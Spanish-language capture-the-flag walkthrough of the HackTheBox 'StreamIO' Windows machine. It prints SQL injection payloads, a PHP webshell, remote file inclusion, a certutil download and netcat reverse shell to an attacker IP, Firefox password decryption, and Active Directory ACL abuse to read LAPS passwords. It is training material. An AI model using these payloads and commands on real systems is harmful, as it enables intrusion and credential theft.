Skip to main content

Command Palette

Search for a command to run...

StreamIO - HackTheBox

Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Updated
11 min read
StreamIO - HackTheBox
E
Cybersecurity

Enumeración

Reconocimiento de Puertos

Listamos los puertos abiertos en la máquina utilizando la herramienta nmap.

Disponemos de un amplio abanico de puertos abiertos, pero para obtener algo más de información vamos a lanzar otro escaneo un poco más avanzado.

Analicemos detenidamente lo que tenemos:

  • Puerto 53 (DNS), que podríamos efectuar algún ataque para intentar obtener dominios y subdominios.

  • Servidor web Microsoft IIS httpd 10.0. en el puerto 80

  • Dominio streamIO.htb

  • Puerto 443 con un servidor web y dominio watch.streamIO.htb

  • Kerberos (puerto 88)

  • WinRM (Puerto 5985)

  • LDAP

  • RPC

Añadimos los dominios al archivo hosts

➜  nmap echo "10.129.9.199 streamIO.htb" | sudo tee -a /etc/hosts
10.129.9.199 streamIO.htb

➜  nmap echo "10.129.9.199 watch.streamIO.htb" | sudo tee -a /etc/hosts
10.129.9.199 watch.streamIO.htb

Y comenzamos con la enumeración web

Enumeración Web - Microsoft IIS 10.0

streamio.htb

Nos encontramos con un servidor web que parece un servicio online de streaming de películas y series.

Además disponemos de un login en la parte superior izquierda, por lo que podríamos revisar si es vulnerable a SQL Injection en primer lugar para descartar.

Previamente me registré, y al intentar iniciar sesión me daba un error, por lo que era imposible iniciar sesión con la cuenta recién creada.

watch.streamio.htb

Accedí al subdominio watch.streamio.htb para buscar otras vías de explotación.

Tenemos un campo donde introducir una dirección de correo para poder recibir correos de noticias sobre nuevas películas introducidas en la plataforma.

Revisando las tecnologías utilizadas en la página web veremos que se utiliza PHP, por lo que podríamos intentar fuzzear rutas con extensión .php.

ffuf -u https://watch.streamio.htb/FUZZ.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Descubrimos la ruta search.php y blocked.php.

La ruta blocked.php no nos lleva a ningún lado, solo muestra el siguiente mensaje:

Pero al ruta search.php nos lleva a una página donde podemos buscar dentro de la abse de datos de películas y series de la web.


Explotación - SQL Injection

Si en el campo de búsqueda introduzco una inyección sql para enumerar las columnas de la tabla veremos lo siguiente.

Utilizo un valor aleatorio que no existe en la base de datos (en este caso 102, pero puede ser cualquier otro)

102' union select 1,2,3,4,5,6-- -

Parece que si es vulnerable y además nos devuelve el número de columnas, en este caso 2.

Podemos averiguar la versión de la base de datos.

102' union select 1,@@version,3,4,5,6-- -

El siguiente paso es intentar averiguar el nombre de las bases de datos existentes.

# Debemos modificar N por un valor numérico.
102' UNION SELECT 1,DB_NAME(N),3,4,5,6-- -

Encontramos dos bases de datos interesantes, STREAMIO y streamio_backup.

Pero no sabemos qué base de datos está utilizando el sitio web, por lo que lo enumeramos también con la siguiente query:

102' union select 1,(select DB_NAME()),3,4,5,6-- -

Continuamos listando las tablas existentes en la base de datos STREAMIO (que es la DB que utiliza el sitio web).

102' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM information_schema.TABLES-- -

Encontramos la tabla movies y la tabla users, por lo que seguiremos enumerando la tabla users para obtener sus columnas.

102' UNION SELECT 1,column_name,3,4,5,6 FROM information_schema.COLUMNS-- -

Continuamos y finalizamos enumerando el contenido de las columnas username y password.

102' UNION SELECT 1,username,3,4,5,6 FROM users-- -
102' UNION SELECT 1,password,3,4,5,6 FROM users-- -

Extraemos el listado completo de hashes a un archivo para su posterior craqueo.


Ahora que disponemos de usuarios y contraseñas en texto plano podemos utilizar la herramienta hydra para realizar un ataque de fuerza bruta al login de streamio.htb/login.php.

hydra -L users.txt -P passwords.txt streamio.htb https-post-form
"/login.php:username=^USER^&password=^PASS^:F=Login failed"

Obtenemos credenciales válidas y las utilizamos para iniciar sesión.

Tras iniciar sesión nos dirigimos a la ruta /admin y tendremos acceso al panel de administrador.

Si hacemos click sobre las diferentes opciones notaremos que en la url se repite un patrón.



Podemos ver que se muestra en la url /?<algo>= lo que nos da a entender que podríamos intentar fuzzear un parámetro para intentar descubrir un LFI.

Para ello utilizo la herramienta ffuf con el siguiente comando:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://streamio.htb/admin/?FUZZ=' -b PHPSESSID=jfr2jfkei6al2ij2pq9bsk7rkn -fs 1678

Hemos encontrado el parámetro debug, lo utilizamos para intentar leer archivos internos.

Si intentamos leer el archivo index.php del servidor recibimos la siguiente respuesta.

Anteriormente había realizado el módulo de Ataques LFI de HackTheBox Academy, por lo que decidí revisar mis apuntes...

Ahí entra en juego los PHP Wrappers.

Los PHP Wrappers nos permiten acceder a distintos flujos de entrada/salida a nivel de la aplicación, como entrada/salida estándar, descriptores de archivos y flujos de memoria. Aunque esto tiene muchas utilidades para los desarrolladores PHP, los pentesters podemos utilizar estos wrappers para ampliar nuestros ataques y poder leer archivos fuente de PHP o incluso ejecutar comandos del sistema.

Una vez que tenemos una lista de archivos PHP potenciales, podemos comenzar a revelar su contenido usando el filtro base64 en PHP.

En este caso mi intención es leer el archivo index.php, por lo que utilizando un wrapper que encodee el archivo en base64 podremos leer su contenido.

php://filter/read=convert.base64-encode/resource=index
https://streamio.htb/admin/?debug=php://filter/read=convert.base64-encode/resource=index.php

Copiamos la cadena base64 completa, la decodificamos y encontramos un conjunto de credenciales que parecen estar asociadas a la base de datos STREAMIO.

Pero anteriormente ya enumeramos la base de datos... por lo que ahora no nos sirve de nada.

Seguí enumerando archivos php en el servidor con ffuf y encontré la ruta /master.php.

De igual manera que leimos el archivo index.php leemos este archivo master.php.

Lo decodificamos de base64 a texto plano.

<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

Dentro del archivo encontramos el fragmento de código PHP anterior.

Este código es vulnerable porque permite la inclusión dinámica y la ejecución arbitraria de archivos remotos o locales mediante la variable $_POST['include']. Si controlamos el valor de include, podemos hacer que el servidor cargue y ejecute código malicioso desde una URL remota o un archivo local, logrando así ejecución remota de código (RCE). La única restricción es que no se permite incluir el archivo index.php para evitar un bucle, pero no valida ni sanitiza la URL.

De nuevo volví a mis apuntes sobre LFI y encontré que es posible realizar un RFI (Remote File Inclusion) y subir una webshell al servidor.

  • Primero creamos una webshell php sencilla.
# Webshell PHP Sencilla
echo '<?php system($_GET["cmd"]); ?>' > shell.php
  • Iniciamos un servidor HTTP con python en nuestra máquina.
python3 -m http.server 1234
  • Incluimos el script en la aplicación web a través de BurpSuite, utilizando la URL del nuestro servidor (tun0 ip).

Cambiamos el Request Method de GET a POST y añadimos a través de include lo siguiente:

include=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Pero en este caso no funciona, por lo que modificamos el contenido de la webshell para hacer que ejecute un solo comando.

system("whoami");

Repetimos el proceso de igual manera que en el caso anterior.

Y ahora sí que funciona, podemos ver que se ejecuta el contenido del archivo test.php que acabamos de crear.

Por lo tanto hemos obtenido RCE, y podemos ejecutar cualquier comando en el sistema.

  • Subiré el binario de netcat para intentar obtener una reverse shell.
system("certutil.exe -f -urlcache -split http://10.10.14.115:4444/nc.exe");
  • Después ejecutamos el comando para la reverse shell teniendo antes nuestro oyente netcat en la máquina atacante escuchando por el puerto 9999 (por ejemplo).
system("nc.exe 10.10.14.115 9999 -e cmd.exe");

Movimiento Lateral - nikk37

Tras ganar acceso a la máquina y estar un buen rato enumerando, me acuerdo que anteriormente encontramos credenciales de la base de datos, por lo que podemos conectarnos a la misma para enumerar aquella base de datos que descubrimos al principio llamada streamio_backup, y para ello disponemos de la herramienta sqlcmd.

sqlcmd es una herramienta de línea de comandos de Microsoft diseñada para interactuar con bases de datos de Microsoft SQL Server. Permite ejecutar consultas SQL, scripts y tareas administrativas directamente desde la terminal, sin necesidad de usar interfaces gráficas.

La sintáxis básica es la siguiente

sqlcmd -S '(local)' -U <user> -P 'PASSWORD' -Q <query>
  • Listamos las tablas existentes en la base de datos streamio_backup.
sqlcmd -S "(local)" -U db_admin -P "password" -d streamio_backup -Q "SELECT name FROM sys.tables"
  • Listamos las columnas de la tabla users.
sqlcmd -S "(local)" -U db_admin -P "PASSWORD" -d streamio_backup -Q "SELECT * FROM users"

Obtenemos un listado de hashes y un listado de usuarios, por lo que cogemos estos hashes y los craqueamos como hicimos anteriormente.

Descubrimos las credenciales asociadas a un usuario que no vimos anteiormente, pero que si vi enumerando el sistema al obtener la reverse shell.

Validamos sus credenciales para verificar si podemos conectarnos a la máquina a través de winrm.

Y efectivamente, estas credenciales son válidas para conectarse vía winrm a la máquina y ya podremos leer la flag de root.

evil-winrm -i streamio.htb -u nikk37 -p 'PASSWORD'

Movimiento Lateral - JDGODD

El siguiente paso que tenemos que dar es escalar privilegios a el usuario con máximos privilegios.

Utilicé winpeas para hacer una enumeración básica y encontré lo siguiente.

Parece que hay un archivo llamado key4.db almacenado en la ruta C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release.

Esto quiere decirnos que si utilizamos este archivo (que contiene una clave para descifrar contraseñas) junto con el archivo logins.json podremos obtener las contraseñas almacenadas en firefox en texto plano.

Para obtener y decodificar las contraseñas almacenadas en este archivo logins.json debemos descargarnos tanto el archivo logins.json como el archivo key4.db a nuestra máquina para posteriormente utilizar la herramienta firepwd.

https://github.com/lclevy/firepwd

python3 firepwd

Y encontramos una serie de usuarios y contraseñas que utilizaremos a continuación para validar si nos sirven para algo.

Validamos las credenciales con netexec.

Podemos verificar que las credenciales encontradas son válidas tanto para smb como para ldap, pero no para winrm.


Escalada de Privilegios

Bloodhound

Llegados a este punto, podemos tratar de enumerar vías potencias de escalada de privilegios a través de Bloodhound.

bloodhound-python -d streamio.htb -u 'USER' -p 'PASSWORD' -gc dc.streamio.htb -ns 10.129.10.2 -c all

Importamos los archivos .json generados a bloodhound (en mi caso utilizo Bloodhound CE en un contenedor en proxmox).

Y comenzamos el análisis partiendo del usuario JDgodd buscando la ruta hasta el usuario Administrador.

Vemos que el usuario JDgodd posee el privilegio WriteOwner sobre el grupo CORE STAFF

WriteOwner es un permiso sobre un objeto (usuario, grupo, equipo, etc.) que permite cambiar el propietario (owner) de ese objeto, en este caso el grupo CORE STAFF.

  • Le damos permisos de owner sobre el grupo a JDGODD.
impacket-owneredit -action write -new-owner 'JDGODD' -target 'CORE STAFF' streamio.htb/JDGODD:'PASSWORD'
  • Modificamos los permisos para obtener control toal sobre el grupo CORE STAFF.
dacledit.py -action write -rights FullControl -principal JDGODD -target "CORE STAFF" streamio.htb/JDGODD:'PASSWORD'
  • Añadimos al usuario JDGODD al grupo CORE STAFF.
bloodyAD -d streamio.htb --dc-ip 10.129.10.2 -u JDGODD -p 'PASSWORD' add groupMember "CORE STAFF" JDGODD
[+] JDGODD added to CORE STAFF

Ahora que el usuario pertenece al grupo CORE STAFF disponemos de un privilegio que nos otorga la posibilidad de leer las contraseñas LAPS de los usuarios.

Los miembros del grupo CORE STAFF@STREAMIO.HTB tienen permisos para leer la contraseña de administrador local del equipo DC.STREAMIO.HTB, gestionada mediante Local Administrator Password Solution (LAPS).

bloodyAD --host 10.129.10.2 -d streamio.htb -u JDGODD -p 'PASSWORD' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Obtenemos la contraseña del usuario Administrador y nos conectamos a través de Winrm.